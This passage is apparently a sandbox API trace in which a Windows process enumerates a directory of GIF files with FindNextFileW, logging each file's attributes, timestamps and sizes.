lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb0cfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x23e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR36B.GIF", cAlternateFileName="")) returned 1 [0078.021] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.021] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb0cfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x8fd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR36F.GIF", cAlternateFileName="")) returned 1 [0078.021] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.021] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb0cfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xd4a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR37F.GIF", cAlternateFileName="")) returned 1 [0078.021] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.021] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb0cfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xb819, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR38F.GIF", cAlternateFileName="")) returned 1 [0078.021] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.021] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb33110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xaf65, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR39F.GIF", cAlternateFileName="")) returned 1 [0078.021] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.022] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb33110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2eda, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR3B.GIF", cAlternateFileName="")) returned 1 [0078.022] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.022] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb33110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x4647, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR3F.GIF", cAlternateFileName="")) returned 1 [0078.022] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.022] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb33110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x10f19, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR40F.GIF", cAlternateFileName="")) returned 1 [0078.022] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.022] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb33110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x7d5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR41F.GIF", cAlternateFileName="")) returned 1 [0078.022] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.022] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb33110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xdf73, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR42F.GIF", cAlternateFileName="")) returned 1 [0078.022] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.022] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb33110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xd2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR43B.GIF", cAlternateFileName="")) returned 1 [0078.022] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.022] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb33110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xa5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR43F.GIF", cAlternateFileName="")) returned 1 [0078.022] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.022] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb33110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x3606, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR44B.GIF", cAlternateFileName="")) returned 1 [0078.022] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.022] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb33110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x3026, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR44F.GIF", cAlternateFileName="")) returned 1 [0078.022] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.022] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb33110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2019, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR45B.GIF", cAlternateFileName="")) returned 1 [0078.022] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.022] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb33110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1ee9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR45F.GIF", cAlternateFileName="")) returned 1 [0078.022] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.022] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb33110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1349, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR46B.GIF", cAlternateFileName="")) returned 1 [0078.022] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.022] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1377, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR46F.GIF", cAlternateFileName="")) returned 1 [0078.022] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.022] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x80d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR47B.GIF", cAlternateFileName="")) returned 1 [0078.022] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.023] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x3ae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR47F.GIF", cAlternateFileName="")) returned 1 [0078.023] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.023] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2b53, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR48B.GIF", cAlternateFileName="")) returned 1 [0078.023] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.023] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x178c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR48F.GIF", cAlternateFileName="")) returned 1 [0078.023] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.023] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x4a66, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR49B.GIF", cAlternateFileName="")) returned 1 [0078.023] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.023] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x32b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR49F.GIF", cAlternateFileName="")) returned 1 [0078.023] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.023] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2a01, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR4B.GIF", cAlternateFileName="")) returned 1 [0078.023] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.023] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x76cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR4F.GIF", cAlternateFileName="")) returned 1 [0078.023] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.023] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1001, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR50B.GIF", cAlternateFileName="")) returned 1 [0078.023] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.023] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xe82, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR50F.GIF", cAlternateFileName="")) returned 1 [0078.023] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.023] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x4217, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR51B.GIF", cAlternateFileName="")) returned 1 [0078.023] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.023] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x16a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR51F.GIF", cAlternateFileName="")) returned 1 [0078.023] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.023] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x4c88, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR5B.GIF", cAlternateFileName="")) returned 1 [0078.023] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.023] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xce72, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR5F.GIF", cAlternateFileName="")) returned 1 [0078.023] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.023] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb7f3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x24dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR6B.GIF", cAlternateFileName="")) returned 1 [0078.024] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.024] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb7f3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x6e4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR6F.GIF", cAlternateFileName="")) returned 1 [0078.024] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.024] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb7f3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x6054, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR7B.GIF", cAlternateFileName="")) returned 1 [0078.024] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.024] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb7f3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x70bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR7F.GIF", cAlternateFileName="")) returned 1 [0078.024] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.024] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb7f3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xd2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR8B.GIF", cAlternateFileName="")) returned 1 [0078.024] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.024] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb7f3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2204, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR8F.GIF", cAlternateFileName="")) returned 1 [0078.024] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.024] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb7f3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x445d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR9B.GIF", cAlternateFileName="")) returned 1 [0078.024] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.024] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb7f3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x5aec, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR9F.GIF", cAlternateFileName="")) returned 1 [0078.024] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.024] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: 